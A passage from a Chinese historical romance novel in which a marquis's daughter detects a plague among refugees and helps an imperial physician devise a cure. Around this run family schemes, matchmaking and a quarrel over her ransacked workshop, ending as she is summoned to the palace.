翌日，在府里用了午膳，映雪和向莞宜踏上了前往文澜阁的马车。向莞宜与广威将军家的公子约在了这文澜阁，届时那位公子会陪他母亲前来挑首饰，她便能趁机与之见上一面。一路上，向莞宜似乎有些心不在焉，目光时不时飘向车窗外，手中的帕子也被揉得皱巴巴。映雪静静地坐在一旁，并不想打探向莞宜的心思，她只是想知道，大夫人与向莞宜之间到底藏着何样的阴谋。
向莞宜见映雪并无交谈之心，便主动打破了沉默，抿着嘴唇，声音略带颤抖地说道：“三表姐，我有些害怕，听说将军家的公子都比较凶猛。”映雪含着一抹浅笑，柔声安慰道：“母亲替你相中的，定是已经仔细斟酌过的，自然不会有差。”接着又略带好奇地问道：“若是那位公子品貌相当，表妹可真要订下来？”向莞宜犹豫了片刻，眉头微蹙，轻声道：“姨母尽心尽力为我筹谋，我怎会不知好歹，我身世比不过表姐、表妹，却也希望那人能与我心意相通。就怕对方看不上我。”映雪微微摇头，又道：“表妹莫要妄自菲薄，表妹花容月貌，又才气过人，定会遇到与你心意相通之人。”听了这话，向莞宜的脸上泛起一抹娇羞，双颊绯红。
马车缓缓在文澜阁停了下来，文澜阁不愧是京城最大的首饰铺子，气派非凡。走进店内，一楼陈列着一些较为常见但做工精细的首饰，如金银打造的簪子、耳环、手链等，款式多样。沿着木质的楼梯而上，二楼的布置更为典雅清幽，摆放着的更加珍贵、精致的首饰。
映雪和向莞宜直接上了二楼，映雪闲庭信步般随意逛了一圈，目光被一支玉簪吸引，伸手轻轻拿起，仔细端详。竹清则时刻保持着警惕，眼睛一直注意着文澜阁周边的动静。不一会儿，从门外踏入一位三十来岁的贵妇，身边跟着一位十六、七岁模样的公子。那位公子身量适中，体格健壮，眉毛浓密平实，眼睛不大但目光坚定。面庞轮廓较为平常，整体给人一种朴实而稳重的感觉。映雪用眼神提醒向莞宜，示意她看向楼下，轻声道：“你看可是那位公子？”向莞宜迅速把目光转向那位公子的腰间，只见对方腰间正别着一把折扇，与那位公子的气质极不相配，眉头紧皱，神色黯然道：“正是他，他腰间的折扇正是信物。”说罢，语气低落道：“我向来运气就不太好，本就不该有所奢望。”映雪挑挑眉，心里暗自思忖，这是没瞧中对方了，也是，有了那陈煜安珠玉在前，她如何能看中这位相貌普通的将军之子，更何况家世更是不及。
映雪脸上却依旧故作宽慰，柔声道：“那位夫人面相极善，应是一位极好相处的人，那位公子看着敦厚稳重，想来也是可以依靠之人。”
向莞宜低下眉眼，沉默不语，映雪便也不再自讨没趣，自顾自地继续逛了起来。向莞宜见映雪神色清冷，心中一慌，怕她生气，忙解释道：“三表姐，我刚才一时分神，我知三表姐一向对我疼爱。”接着又咬着嘴唇，神情落寞道：“只是那位公子与我心目中的良人相差甚远，一时有些失望。”
映雪浅浅一笑，神色温和，并不在意，随后问道：“表妹可有相中的首饰？我要回府了。”
向莞宜摇摇头，映雪便让竹清把她挑中的玉簪拿去结账。
两人上了回侯府的马车，马车刚要出发，向莞宜却脸色苍白的捂住了肚了，对着映雪歉意道，“三表姐，我肚子忽然有些不适，要去净手，麻烦三表姐在这稍等我一会儿。”映雪点了点头，便在马车里闭眼沉思起来，突然，从外面传来一阵追赶声，听见声音越来越近，正要撞上马车，竹清眼疾手快，一把抓住了正要撞上来的小乞丐，映雪撩开车帘，问道，“怎么回事？”那位小乞丐抬起头来，七八岁模样，衣不蔽体，干瘦蜡黄，眼神却倔强明亮，正要说话，头上就传来一道温和男声，“姑娘，真巧，我们又遇上了。”映雪抬眼，正是陈煜安，调整好心绪，带着一丝疏离，笑道，“是好巧。”接着又问道，“这是怎么回事？”陈煜安苦笑道，“这位小兄弟刚趁我不注意时，偷了我的玉佩。”映雪皱眉，看向那位男孩，男孩突然向映雪跪了下来，道，“求贵人不要把我交给他，我不是有意的，我娘还等着我带她看病就医，我只是一时想岔了，以后再也不敢了。”闻言，映雪示意竹清，竹清会意，从小男孩中把玉佩取了过来，交给了陈煜安，映雪则对着陈煜安道，“这位公子，玉佩你拿去吧，他也是救母心切，希望公子能饶恕他这一回。”
陈煜安看着映雪，目光中带着几分赞赏，说
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道：“姑娘心善，只是这孩子若不严加管教，日后怕是会误入歧途。”
映雪轻轻叹了口气，说道：“公子所言在理，若给他个机会改过，或许能走正途。我这有些碎银，能解他一时之急，也望他记住今日之错，不再偷窃。”
陈煜安微微一怔，随即笑道：“姑娘菩萨心肠，在下佩服。既如此，依姑娘所言。”
映雪点了点头，看向小乞丐温声道：“今日之事，望你记住教训，以后靠双手挣干净钱，莫再偷窃。”
小男孩受教，向映雪磕头道谢。
陈煜安身姿挺拔，如玉树临风般站在映雪面前。俊朗的面容上洋溢着春风般的温暖笑意，看向映雪，轻声告辞道：“那就不打扰姑娘了。”
映雪微微点头，脸上泛起一抹娇羞的红晕。可待陈煜安转身离开，那抹红晕瞬间消失，神色随即冷若冰霜。
刚刚转过身来，刚去净手的向莞宜便走了过来。明亮的眼眸中满是好奇，娇声问道：“三表姐，刚才那位公子是谁啊？我远远地瞧着，就觉得他气质非凡，定是一位贵公子吧？”
映雪不动声色地用余光撇了撇向莞宜那急切的神情，心中不禁冷笑。这就是她们的手段吗？故意制造她与陈煜安的相遇，就觉得她一定会被陈煜安吸引？不得不说，向莞宜还真是了解她的喜好。但她脸上却故作羞涩，又带着些许遗憾地道：“我也不认识。”
向莞宜瞧见映雪脸上那娇羞的神情，心中不知是得意还是怨恨。得意的是映雪果然如她所料会被陈煜安吸引，怨恨的是自己没映雪好命，能出生在侯府。脸上却强装出憧憬的样子说道：“或是有缘，定会再遇见的。”
映雪脸上带着浅浅的笑意，只是那笑意未达眼底，仿佛当作没听见向莞宜的话一般。
随即转向那名瑟缩起来的小乞丐。缓缓蹲下身子，眼神中带着关切，柔声问道：“你母亲生的何病？有大夫去看过吗？”
小乞丐耷拉着脑袋，不停地搓着衣角，沮丧地摇了摇头。脏兮兮的脸上满是愁苦，声音带着哭腔道：“我娘时而发热，时而寒颤，呼吸困难，已经有三天了。情况也越来越严重，我求了几个医馆，都被赶了出来。今日在街上见那位公子分神，一时起了贪心。”接着，他顿了一下，像是鼓足了勇气又道：“我们住在城郊的破庙里，与我娘情况相似的也有好几人。”
闻言，映雪的神情立即变得严肃起来，秀眉紧蹙，追问道：“你们可是从中原来的？”
小乞丐用力地点了点头，声音颤抖着说道：“中原虫灾泛滥，我们村及周边的村子都颗粒无收，为了生存，才一路乞讨，逃了出来。”
映雪听到这话，心中猛地一沉，瞬间心生惧意。
34. 瘟疫
若是她没猜错，这极有可能是瘟疫。倘若京城真的爆发瘟疫，对于整个大乾而言，无疑将是一场灭顶之灾。且京城都可能沾染瘟疫，那么父亲去中原赈灾，情况必定会更加危急凶险。
映雪心急如焚，额头上已沁出细密的汗珠，她也顾不上其他，忙从绣着精美花纹的荷包里，掏出几粒散发着淡淡药香的药丸，递给衣衫褴褛的小乞丐，急切说道：“这药丸你赶紧给你母亲及其它几位病人喂上，虽说暂时无法根治，但起码能让他们的病情不再继续恶化。”随即，她又示意身旁的竹清，给了几两碎银子递给小乞丐，温柔说道：“这银子你一定要收好，先买上这两日的食物回去，这两日千万不要出来，其他的事情我来想办法。”
小乞丐见映雪神色异常，满心担忧地问道：“可是我娘的病有什么不妥？”映雪轻咬嘴唇，怎么可能把心中那可怕的猜测说出，只能强装镇定地安慰道：“无事，秋冬季节本就容易风邪入体，为了避免更多的人感染，才要多加小心。”小乞丐似懂非懂地点了点头。
待小乞丐离去，映雪眉头紧蹙，匆忙吩咐竹清道：“赶紧回府，快！”马车一路疾驰，在永安侯府门前停下。映雪不等马车停稳，便急切地对向莞宜说道：“向表妹，我去一趟荣晖堂，你自己回院子吧。”说罢，就如风一般先一步离开了。向莞宜望着映雪急匆匆的背影，脸上流露出若有所思的神情。
荣晖堂内，老夫人正品着茶，见映雪匆匆过来，满脸诧异，惊问道：“映雪怎么过来了？你不是陪向姑娘去文澜阁了吗？”映雪神情凝重如霜，声音低沉地道：“祖母，京城可能有瘟疫。”刚说完，老夫人一惊，手猛地一抖，打翻了桌上那精致的茶杯，茶水四溅，惊声道：“你从何得知？消息准确吗？若真是瘟疫，京城怕是要有大麻烦了。”说罢，颤颤巍巍地从椅子上站了起来。
映雪摇摇头，眼眶微红，声音低沉道：“我今日在街上碰到从中原逃难过来的小难民，他们住在城郊那破庙中，听他说，破庙中已经有几人都有发热，寒颤及呼吸困难的症状。”接着又语气沉重地道：“这极有可能是瘟疫的前期表现。”听言，老夫人神色惶恐，双手不自觉地颤抖起来，道：“那你父亲去中原赈灾岂不是十分凶险？”映雪微微颔首，十分庆幸地说道：“爹爹出京前，我给爹爹备了一些药，虽然治不好瘟疫，但也有一定的抵抗之效，想来爹爹会用上。”说罢，又忧心忡忡道：“只是若中原真有瘟疫，恐怕容易造成难民暴动，也是十分危险。”老夫人长叹一口气，双手合十虔诚道：“希望菩萨保佑。”接着又道：“你爹爹如今不在府里，万一真是瘟疫，能早一日采取措施也能避免不少人遭难，你大哥今日会回来，到时让他以永安侯世子的名义，上一份折子，让朝廷决策，你这两日看能不能从你那本秘方中找找，看有没有对应的瘟疫秘方。”映雪点头应下。
回了映月阁，映雪脚步匆匆，立马查看了玉佩中的积分，只见她眉头紧皱，神色懊恼不已，暗自嗔怪自己就不该抱有侥幸心理。之前救了猎户，又因为提出救灾之法，倒是获得了一些积分，可惜都被她给兑换了一本兵法和一本炼器的秘方。如今要兑换瘟疫秘方，积分却还差了不少。
映雪满心忧虑地去了书房，仔仔细细地翻找着，期望能找到有关瘟疫方面的书籍。时间缓缓流逝，直到申时，阳光斜斜地照进侯府。苏璟皓回了侯府，映雪正专心查找着书籍，忽然听见书房外传来一阵轻微的声响，转头看去，发现是大哥，眼中瞬间燃起激动的光芒，喊道：“大哥，你回来了？”苏璟皓神色慌乱，额头上还挂着细密的汗珠，忙不迭地点了点头，迫不及待地问起映雪，道：“妹妹，祖母说的瘟疫可是真的？”映雪的脸色瞬间凝重起来，郑重地点头道：“八九不离十。”苏璟皓又急切地追问道：“你何时竟会医术了？你炼制的药丸真的对父亲有防护作用吗？祖母不是骗我的吧？”映雪一时也无法将这其中的缘由向苏璟皓解释得清楚，只是语气坚定地肯定道：“我只是偶得一本秘方，药丸自然有效，大哥来正好，祖母让你拟个折子上报，你现在就拟吧。”
苏璟皓毫不怀疑映雪的话，眼神中又对映雪抱起了希望，满怀期待地问道：“既然你能发现瘟疫，那有没有治疗瘟疫的秘方？”映雪神情落寞地摇摇头，轻轻叹了口气，道：“暂时还没有。”苏璟皓听言，眼中的光芒黯淡了几分，也只好作罢。
两人在书房里埋头琢磨了一个多时辰，周围堆满了书籍和纸张。又找出永安侯之前废弃的折子作参考，经过反复商讨和修改，总算把折子拟好。
黎明前，皇宫灯火通明，大臣们身着朝服，手持笏板，依次走进金銮殿。
皇帝高坐龙椅，威严庄重，目光扫视群臣。
钟声响起，早朝开始，太监高喊：“有事启奏，无事退朝！”群臣跪地高呼万岁。
金銮殿内，气氛凝重。萧丞相神色焦虑，匆匆出列跪地奏道：“陛下，中原传来噩耗，已有瘟疫发生，太子请求御医及药材支援。”皇上听闻，脸色骤变，急声道：“太子情况如何？”
萧丞相接话道，“太子等人暂时无恙，景阳侯世子在第一时间发现难民情况不对，就采取了防护措施，只是这瘟疫蔓延极快，若是没有药方，恐怕情况不容乐观。”说罢，萧丞相的神情也极为难看。
正当皇上忧心忡忡之时，又一官员快步上前，双手呈上一封奏折，声音颤抖道：“陛下，永安侯世子苏璟皓呈上折子，怀疑京城亦有瘟疫之兆。”皇上心头一震，手中的御笔
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险些掉落，怒喝道：“京城有瘟疫之前怎么没发现，竟然是一个尚未入朝的世子递了折子。”众臣皆噤若寒蝉，不敢言语。
皇上强压怒火，厉声道：“速速查明此事！若京城真有瘟疫之兆，务必全力防控，不得有误！”
此时，一位老臣缓缓出列，拱手道：“陛下息怒，当务之急是派遣得力之人前往中原协助太子抗疫，同时在京城加强排查与防范。”
皇上微微点头，目光扫向群臣：“众爱卿，谁愿担此重任？”
殿下一片沉默，无人敢应。皇上见状，怒拍龙椅：“国难当头，尔等竟无人挺身而出？”
终于，一位年轻将领站了出来，单膝跪地：“末将愿往中原，协助太子抗击瘟疫！”
皇上脸上稍有缓和：“好！朕即刻命你点兵出征，务必不辱使命！”
接着，又有几位大臣纷纷进言，提出抗疫之策。
“陛下，应即刻在京城各城门增设关卡，严查进出之人。”
“陛下，需紧急召集民间医者，共商抗疫之方。”
皇上一一采纳，随即下令：“萧丞相，此事由你统筹安排，务必确保京城安全，援助中原及时。”
萧丞相领命：“臣定当竭尽全力，不负陛下重托。”
早朝在紧张的氛围中结束，大臣们匆匆散去，各自忙碌起来。
京城官府办事效力极高，城郊的破庙也很快被隔离开来，好在人数尚少，控制不难，朝中派来的周太医正全神贯注地为几位患者诊治。周太医捋了捋胡须，对着身边的医官疑惑道，“奇怪，这几位病人确实是疫症，只是为何这脉象却趋于平稳之态？”一旁的小乞丐听到周太医所言，犹豫了片刻，才怯生生地说道：“是贵人姐姐给了我几颗药丸，让我喂给我娘及其它几位严重的病人服用。”
周太医眼神瞬间一亮，急急问道：“那药丸可还有？”
小乞丐低下头，摇了摇，脏兮兮的脸上满是失落。周太医立马把情况转告在场的随行官员，道，“这几位患者确实是疫症。”话音刚落，随行的官员忍不住往后退了两步，惊恐道，“周太医，那这可如何是好？我们莫不是都要被感染了！”
周太医眉头紧皱，呵斥道：“莫要惊慌！此时当务之急是寻到那药丸的来历，那药丸似是对疫症有一定的拟制之效。”随行官员努力平复了一下慌乱的心情，强自镇定下来，说道：“太医所言极是，你说的药丸是何种药丸，我派人寻找线索。”说罢，他紧张地看向周太医。
周太医转头看向小乞丐，和声说道：“孩子，你莫怕，仔细与我们讲讲当时的情况。”
小乞丐紧张地揪着衣角，身体微微颤抖，开始把映雪给他药丸当日的情形缓缓讲述出来。
35. 疫方
当日响午，周太医就赶到永安侯府求见映雪，一番交谈后，周太医惊讶地得知，映雪竟仅凭自己的兴趣，就学会了些浅薄医术，不仅能制药，还熟知众多医案，只是尚未掌握诊脉之法。周太医既感叹映雪的天赋，又为她不能系统学习医术而感到可惜，犹豫再三，终是向映雪表示想收她为徒。
周太医乃太医院中仅次于李院使的院判，出身真正的医学世家，医术高明，在皇宫主要是为太后看脉，其余更多的时间则用于著书立说，可谓是医学界的翘楚。
映雪听闻周太医的话，惊喜之色瞬间溢于言表。然而，她很快意识到自己的女子身份可能会带来诸多不便，于是便将期待的目光转向了一旁的老夫人。
老夫人微微颔首，脸上带着温和的笑容，说道：“周太医，您能瞧上这丫头，实乃她的福分。只是这收徒之事，兹事体大，还需等她爹永安侯回京再做定夺。眼下这疫症肆虐，倒可先让映雪跟着您一同研究药方，为抗疫出份力。”
周太医微微躬身，恭敬地拱手说道：“老夫人所言甚是合理，这丫头身为侯府嫡女，身份尊贵，确实需要永安侯来做决定。不过老夫人愿意让她协助我一同研制药方，我心中着实十分欣喜。”
映雪谦逊地说道：“能在抗疫之事上略尽自己的微薄之力，映雪深感荣幸。”
映雪决定随周太医前往京郊的隔离区，老夫人一听，脸上顿时布满了忧虑之色。紧紧拉住映雪的手，声音颤抖着说道：“映雪，那隔离区危险重重，祖母知你心善，但也不可以身犯险。”
映雪宽慰老夫人道，“祖母放心，映雪知道分寸，且刚周太医也说过了，我之前炼制的药丸确实有防护之效。我若只在府里，怕是无法配合周太医行事。”老夫人还有些不放心。
一旁的苏璟皓开口道：“祖母，我陪妹妹一起去，定会护她周全，您放心。”
老夫人看看映雪，又看看苏璟皓，犹豫再三，也只好同意。
京郊隔离区，映雪把药丸的方子提供给周太医。周太医则神情专注，将疫症的详细脉象一一描述给映雪，让映雪辩症。
简陋的棚屋内，弥漫着草药的苦涩气息。映雪和周太医时而蹙眉思索，时而低声交流，全然不顾额头上不断滚落的汗珠。
经过两天的反复测试及验证，他们终于成功研制出了疫方。那一刻，映雪和周太医疲惫的脸上绽放出欣慰的笑容。
消息如春风一般迅速传到了皇上耳中。皇宫内，皇上听闻此事，龙颜大悦，爽朗地笑道：“好！待太子赈灾回京，朕要一起封赏！”
朝堂之上，群臣纷纷跪地高呼：“皇上圣明，此乃我朝之福！”
映雪会医术及与周太医一起研制出疫方的消息也在朝中传开。
疫方八百里加急，快马加鞭送往中原颍阳。
颍阳城中，太子及永安侯正于府衙内愁眉不展。窗外，虫灾虽已得到一定程度的缓和，但此时最为紧迫的乃是那已然扩散开来的瘟疫。尽管他们及时采取了诸多措施，然而瘟疫的传染性极强，蔓延之势难以遏制。即便征用了众多民间大夫，可药方的研制依旧毫无进展。
许牧舟看着太子眼睑发青，满是担忧，催促道：“殿下，您瞧瞧您这憔悴的模样，还是先去休息吧。送去京城的折子也有几日了，快的话，明日或许就会有消息传回。”太子缓缓摇摇头，声音略显沙哑：“再等一会儿吧，我还不困。”话音刚落，太子便没忍住，一阵剧烈咳嗽起来，身体都跟着微微颤抖。
永安侯见状，眉头紧皱，犹豫片刻后说道：“小女出京前给了臣几款药丸，其中有治疗寒咳的，殿下可要让太医仔细化验一番，看是否适合殿下服用？”
太子还未来得及出声，许牧舟赶忙说道：“侯爷，您这女儿当真是聪慧非凡，天赋极佳！之前若不是提前服用了您给的药丸，说不定咱们这一群人都染上了瘟疫。可见令嫒在医学上的造诣非同一般。”
永安侯连忙谦虚道：“世子谬赞，要不是世子慧眼，第一时间就发现难民中情况不对，疑有疫症，提议按疫症防护，恐怕这颍阳危已。”
许牧舟轻轻一笑，那笑容带着几分慵懒，调侃道：“那侯爷看我如何，可还能配得上您爱女？”
永安侯闻言，以为自己听岔了，一时愣在原地，嘴巴微张，半天没回上话。
太子见此情形，及时打了个圆场，朗声道：“那本宫有福了，有劳侯爷替我把药丸取来。”
待永安侯离开，太子面带戏谑，打趣许牧舟道：“你这是认真的？这永安侯之女虽是极为聪慧，可这可不像是你的性子。”接着，太子微微挑眉，又道：“莫不是被侯夫人催怕了，随意找位贵女来应付了事？”
许牧舟嗤笑一声，神色中带着些许不满，道：“你觉得我会为这种事情随意将就？”说罢，他的眼神中不自觉地透露些许柔情来。
太子见状，忍不住再次笑出声来，“等回京，我倒要瞧瞧这永安侯之女究竟是何等模样，竟能让你这个一向视女子如洪水猛兽，避之不及的人动了凡心。”
许牧舟挑挑眉，并未回应。
翌日，疫方竟更快于从京城出发的抗疫队伍，率先到达了颍阳。太子得知这疫方竟是出自永安
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侯之女，忍不住对永安侯赞道：“永安侯，你真是生了一双好儿女啊，之前在凌云书院就见识过贵府世子马术精湛，英勇非凡，没想到令爱更是出人意料，更对社稷有功。等本殿回京，定要向父皇为令爱讨赏一番。”
永安侯原本正沉浸在这突如其来的惊喜之中，整个人仿佛被这消息震懵了，大脑一片空白。还是许牧舟在旁提醒，这才如梦初醒，待确认映雪竟真制出了疫方，虽是与周太医一起，心里也极为骄傲，脸上却仍谦逊道：“太子殿下谬赞了，小女也不过是运气使然，能对社稷有功，也是她的荣幸。”
一旁的许牧舟也与有荣焉，俊朗的脸上洋溢着笑意。心里暗衬：“出京了有半个月了，也不知道这小丫头有没想他，待回了京，定要把他们的亲事订下来才行，免得那些不三不四的人惦记。”
苏沁雪举办的诗会定在了第二日举行。因映雪救疫有功，皇上夸赞，映雪名声大噪。原本那些并未决定要来参加的贵女，此刻都纷纷回了请贴，表示要来参加。
如意院内，苏沁雪气得将手中的帕子狠狠摔在地上，忍不住闹起了脾气，娇嗔道：“这诗会不办也罢，白白为她人做嫁衣。”她的小脸涨得通红，眼中满是愤懑。
大夫人坐在一旁，脸色也阴沉得厉害。但她还是强压着怒火，斥道：“胡闹！之前的请贴是你亲自写的，更是你邀请的，现在她们都回了请贴说要参加，你这会儿说不办了，让那些贵女怎么看你，你以后还要不要做人了？”
紧接着，大夫人深吸一口气，眼中闪烁着精明的光芒，又道：“不仅要办，更是要大办。”
苏沁雪听了这话，先是一愣，随后才慢慢回味过来，咬了咬嘴唇，没有吭声。
竹韵端了晚膳摆上桌，映雪正准备用膳。这时，绿绮匆匆忙忙跑了进来，顾不得喘气，赶忙把手上的信递给映雪，说道：“姑娘，嘉柔郡主给你送了信来。”
映雪闻言，搁下手中的筷子，打开信件，眉头微微一蹙。绿绮瞧见，心下着急，忍不住问道：“姑娘，怎么了？”
映雪轻轻摇摇头，缓缓道：“嘉柔约我和清平明日去豫亲王府见面，商讨慈善堂之事。”说罢，接着又道：“明日的诗会我不参加了。”
竹韵一听，脸上露出担忧之色，说道：“姑娘若是不参加，四姑娘会不会说姑娘不给她面子？”
映雪却毫不在意地笑道：“明日我若真在，估计她会更后悔。”说罢，她转头对着竹韵吩咐道：“你一会使个小丫头，去落雪院跟四姑娘说一声。”
竹韵连忙点头应下，“是，姑娘，我这就去安排。”
36. 争吵
翌日，映雪向老夫人请安后，便带着竹清出了门。三人乘坐马车，一路直奔豫亲王府。
马车刚在豫亲王府的大门口停下，映雪便瞧见清平正从另一辆马车上下来。两人相视一笑。从领路嬷嬷的口中得知嘉柔正在豫亲王妃的院子，两人便结伴而行，一同去向豫亲王妃请安。
迈进屋子，只见屋内布置得典雅精致，熏香袅袅。映雪和清平发现景阳侯夫人也在，两人赶忙向景阳侯夫人行了礼。景阳侯夫人见到映雪，眼神一亮，那目光中透着几分亲切与赞赏。
豫亲王妃见到映雪，脸上瞬间绽放出格外亲切的笑容，连忙招呼着映雪上前，说道：“我这次的咳症多亏了你，嘉柔有没替我谢你？”接着又道：“你这孩子真是深藏不露，听说这次瘟疫的方子也是你提出的？嘉柔的父王都跟我夸你呢。”
映雪的脸颊泛起一抹羞涩的红晕，连忙说道：“王妃过奖了，嘉柔已经谢过了，疫方主要是归功于周太医。”
豫亲王妃嗔怪地看了映雪一眼，越瞧越觉得顺眼。一旁的景阳侯夫人瞧见豫亲王妃的神情，心中瞬间响起警铃，暗想这静姝莫不是想抢她儿媳妇了，这可不行，忙插话道：“好了，静姝，你这眼神都把这孩子给吓着了。”
嘉柔郡主也故作吃味道：“母妃见着了映雪姐姐的好，都不疼我了。”说罢，还俏皮地嘟起了嘴。
豫亲王妃用手指轻轻戳了嘉柔的脸蛋道：“你要是有你映雪姐姐一半的机灵劲，母妃都要烧高香了。”
嘉柔向豫亲王妃做了个鬼脸，然后一手拉着映雪，一手拉着清平，欢快地出了屋子。
三人一路有说有笑地去了嘉和居。嘉和居内，花香四溢，微风轻拂着窗幔。
嘉柔看着映雪，眼中满是赞叹，说道：“你现在可风光了，等太子哥哥他们回京，皇伯父肯定也会封赏你。”接着又笑嘻嘻地道，“说不定还会封你一个郡主当当呢。”映雪闻言，俏皮一笑，露出两个浅浅的酒窝，道：“那就借你吉言了。”说完，三人忍不住笑作一团，笑声在屋内回荡。
清平看着笑闹的两人，清了清嗓子，问道：“之前让你们一起拟的慈善堂计划，怎么样了？”
闻言，嘉柔立马兴奋起来，手舞足蹈地说道：“父王得知我要与你们一起办慈善堂，还夸赞我了呢，说我不愧是父王之女，有忧民之心，还说要支持我呢。”说罢，脸上的兴奋稍减，又叹息道，“可惜，大哥近日在忙制兵器之事，都腾不出手来帮我。”话音刚落，两人又把期待的目光转向映雪。
映雪忍不住抚额，无奈道：“我大哥倒是回府了，可我这几日忙着与周太医研究疫方，根本腾不出手来。”
清平听了，气得咬牙，嗔怪道：“我就知道指望不上你们。”
映雪和嘉柔对视一眼，狡黠一笑，一人抱住了清平一只胳膊，齐声道：“这不是还有你吗”
清平无奈地摇摇头，只能吩咐侍女把她这几日精心做的计划书拿了出来。
映雪接过清平侍女递来的计划书，粗略一看，眼神中顿时绽放出惊喜与钦佩的光芒，忍不住赞道：“得亏你不是男儿身，不然我定要被你的才华倾倒。”
清平嘴角微微上扬，带着几分揶揄说道：“我不是男儿身不要紧，想来要不了几日，你们永安侯府的门槛就被踩烂。”刚才在豫亲王妃的院子里，她可是看清得清楚，景阳侯夫人与豫亲王妃看映雪都是一幅看儿媳妇的模样。
嘉柔也在一旁起哄，只见她双手叉腰，笑得前仰后合，大声说道：“就是就是，映雪姐姐，你就等着吧！”羞得映雪直跺脚。
三人在嘉和居用了午膳，又一起玩耍了几个时辰，才从豫亲王府离开。
映雪刚回到侯府，走在半道，就见绿绮一脸怒气地迎了上来。她眉头紧蹙，喘着粗气喊道：“姑娘，你快去瞧瞧，静逸庐都成啥样了？”
绿绮满是愤怒与委屈：“四姑娘带着一群姑娘进去，把静逸庐当成是自己的了，奴婢阻止，二姑娘竟把奴婢给赶了出来，还趾高气昂地说不用奴婢伺候。”接着她又跺了跺脚，声音带着哭腔：“等她们离去，奴婢再进去，里面就成了一团糟，好些物件都毁坏了。”
闻言，映雪的脸色瞬间不愉，脚下的步伐加快。
待赶到静逸庐，刚踏入门槛，一股混杂的刺鼻气味便扑面而来。只见原本摆放整齐的瓶瓶罐罐东倒西歪，好些珍贵的香料洒了一地，五颜六色的粉末交织在一起，散发出令人不适的味道。
制香的工具七零八落。有的被粗暴地扔在角落里，有的甚至已经扭曲变形，显然无法再使用。
炼药的小炉翻倒在一旁，炉中的炭火早已熄灭，还冒着缕缕青烟。周围的草药被踩踏得不成样子，汁液横流，在地上形成一滩滩黏腻的污渍。
地上更是一片狼藉，不知从何处来的水渍和食物残渣随意散落着，让人根本无处下脚。
映雪气得脸色铁青，冷着脸，转身就去了荣晖堂，刚走到屏风处，耳边就传来苏沁雪那得意洋洋的声音，“祖母，沁雪今日结交了几位新朋友呢，她们说下次也要邀请沁雪去她们府里玩。”
老夫人满脸笑容，慈爱地说道：“那敢情好，沁雪可要好好与她们相处。”
苏沁雪愈发得意，娇声道：“祖母放心，沁雪定会的。只是可惜今日三姐姐不在。”
这时，映雪再也忍不住，猛地绕过屏风，走进屋内，大声说道：“我要是在，还能眼睁睁的看着你带着人把我的静逸庐弄得尽毁。”
苏沁雪看到映雪，脸上的笑容瞬间僵住，眼神有些慌乱，但
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很快又强装镇定，说道：“姐姐气性未免也太大了此，那些贵女只是好奇姐姐炼制的香丸和药丸，所以想尝试一二罢了。”
映雪讥笑道，“她们想尝试，就可以随意把我的静逸庐糟蹋的不成样子？”
老夫人见状，皱起眉头，说道：“这是怎么回事？都给我好好说清楚！”
随即，映雪把目光转向老夫人，冷声道，“祖母，你让人过去瞧瞧，我的静逸庐现在都成什么样了？”接着又嗤笑道，“知道的是说一群贵女，不知道的还以为永安侯府来了一群土匪呢。”
老夫人向秦嬷嬷使了个眼色，秦嬷嬷遣了秋桐去静逸庐查看。
苏映蓉在一旁插话道，“三妹妹，你这话要是被传了出去，怕是把那群贵女都得罪光了。”
话音刚落，映雪就转头对着苏映蓉，道，“二姐姐，我还没说你呢，要不是你把绿绮给赶了出来，静逸庐也不会成这样。”接着又道，“四妹妹是罪魁祸首，你也是帮凶。”
说罢，三人在屋子里争吵了起来，向莞宜在旁边劝和。
不一会儿，秋桐打着帘子，进了屋，神情凝重地对着秦嬷嬷摇了摇头，接着秦嬷嬷就在老夫人耳边耳语了几句。老夫人的神色瞬间难看起来，拍着桌子，呵斥道，“好了，一群大家闺秀干什么不好，非要干着烧火丫头的活。”
三人都停下争吵，苏沁雪和苏映蓉两人脸上都神色窘迫。
接着就听老夫人道，“沁雪和映蓉两人负责把静逸庐恢复原样，沁雪罚《女诫》一百篇，映蓉罚五十篇。”
闻言，苏沁雪和苏映蓉脸色都耷拉下来，心生不岔，却也不敢反驳。
老夫人微微侧身，朝着映雪道，“映雪，祖母这样罚，你可愿意原谅她们？”
映雪抬眸，目光扫过苏沁雪和苏映蓉，见她们沮丧着脸，心中的怒气也消了大半。她轻轻点了点头，说道：“祖母的处置，映雪自然会认。”
待回到映月阁，映雪还是郁气难消，竹韵端了茶水进来，宽慰映雪道，“好在姑娘的古书和方子都收了起来。”
映雪这才想起，她自己琢磨的制药方子并未收起来，忙吩咐竹韵道，“你去静逸庐的桌架子上，把我之前写的药方书取过来。”竹韵点头，匆忙跑了出去，过了好一会儿，竹韵才回来，神色焦急朝着映雪道，“姑娘，药方不见了，奴婢把静逸庐都仔细找了一遍，都没找到。”
映雪嗤笑一声，无奈道：“罢了，若真是有心人为之，总会有消息传来。”
要知道，那本药方是她自己学着玉佩中的秘方练手的初稿，且因前期她刚接触炼药，技艺还不熟练，方子中有诸多问题，并未完善，真被人盗走了，炼出药丸来，指不定还是件祸事。
想到这里，映雪就当作不知情。
37. 风华
随着中原灾情好转的消息传来，映雪的名声也愈发高涨，映雪收到的请贴更是如雪片般纷至沓来。
令映雪应接不暇，只好以筹办慈善堂忙得错不开身而婉拒。
但京城各府热情不减，荣晖堂近日访客络绎不绝，都是来打探映雪婚事的。老夫人既骄傲又忧心。
这日，映雪正专注地坐在书桌前，认真地写着药方。突然，门外传来一阵急促的脚步声，白芷匆匆跑了过来，神色略微慌张，呼吸也略显急促道：“姑娘，宫里来了人，让你去前厅。”
映雪手中的笔微微一顿，墨水滴落在纸上，晕开了一小片。她轻轻搁下笔，秀眉微蹙，心中涌起一丝疑惑。但很快，便恢复了平静，随即起身，向厅前走去。
只见一位公公带着几名宫女，正静静地站在那里。待见到映雪，公公面露微笑，微微躬身说道：“苏姑娘，贵妃听闻姑娘炼的一手好香，请姑娘去宫里品香。”
映雪福了福身，脸上带着恰到好处的歉意，声音轻柔地道：“有劳公公稍等，臣女换了衣裳就来。”
公公含笑颔首。
映雪从前厅离开，脚步匆匆，转身就赶去了荣晖堂。
荣晖堂内，老夫人也正焦急地等着映雪。因时间紧迫，老夫人只得匆匆交待了映雪宫中规矩，拉着映雪的手，神色严肃而又关切地说道：“映雪，宫中不比府里，你记得定要谨言慎行。”
齐贵妃乃三皇子之母，因原后病逝，皇上未再立后，贵妃就代中宫执撑宫印。也因此，太子因身体瀛弱，且未诞下皇孙，三皇子也成为太子的最有竞争力对手。
